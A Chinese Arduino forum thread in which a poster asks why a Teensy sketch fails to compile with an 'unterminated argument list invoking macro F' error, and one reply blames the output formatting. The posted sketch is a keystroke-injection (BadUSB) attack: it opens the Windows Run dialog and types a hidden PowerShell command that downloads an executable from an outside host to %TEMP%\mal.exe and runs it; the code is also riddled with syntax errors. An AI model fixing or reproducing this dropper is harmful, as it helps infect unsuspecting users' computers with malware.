error: unterminated argument list invoking macro "F"-Arduino中文社区 - Powered by Discuz!

Arduino中文社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 676|回复: 2

[已解决] error: unterminated argument list invoking macro "F"

[复制链接]
发表于 2022-1-16 08:57 | 显示全部楼层 |阅读模式
Arduino:1.8.19 (Windows 10), TD: 1.56, 开发板:"Teensy 3.2 / 3.1, Serial, 96 MHz (overclock), Faster, US English"

sketch_jan16a:27: error: unterminated argument list invoking macro "F"

unterminated argument list invoking macro "F"



在文件 -> 首选项开启
“编译过程中显示详细输出”选项
这份报告会包含更多信息。

源码:
Arduino:1.8.19 (Windows 10), TD: 1.56, 开发板:"Teensy 3.2 / 3.1, Serial, 96 MHz (overclock), Faster, US English"

sketch_jan16a:27: error: unterminated argument list invoking macro "F"

unterminated argument list invoking macro "F"



在文件 -> 首选项开启
“编译过程中显示详细输出”选项
这份报告会包含更多信息。



 楼主| 发表于 2022-1-16 08:59 | 显示全部楼层
#include<keyboard.h>
void setup() {
  delay(2000);
  type(KEY_LEFT_GUI,false);
  type('d',false);
  Keyboard.releaseAll();
  type('r',false);
  delay(500)
  keyboard.releaseAll();
  delay(1000)
  print(F("powershell -windowstyle hidden (new-object System.Net.Webclient).DownloadFile('http://tesbin.scp-net.fun/1.exe','%TEMP%\\mal.exe'); Start-Process \"%TEMP%\\mal.exe""));
  delay(1000)
  type(KEY_RETURN,false);
  Keyboard.releaseAll();
  Keyboard.end();
}
void type(int key, boolean release) {
  Keyboard.press(key);
  if(release)
   Keyboard.release(key);
}
void print(const_FlashStringHeleper *value) {
  Keyboard.print(value);
}
void loop(){}
}
发表于 2022-1-16 12:27 | 显示全部楼层
应该是你写的格式化输出有问题
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|Archiver|手机版|Arduino中文社区

GMT+8, 2024-11-28 16:00 , Processed in 0.067821 second(s), 15 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表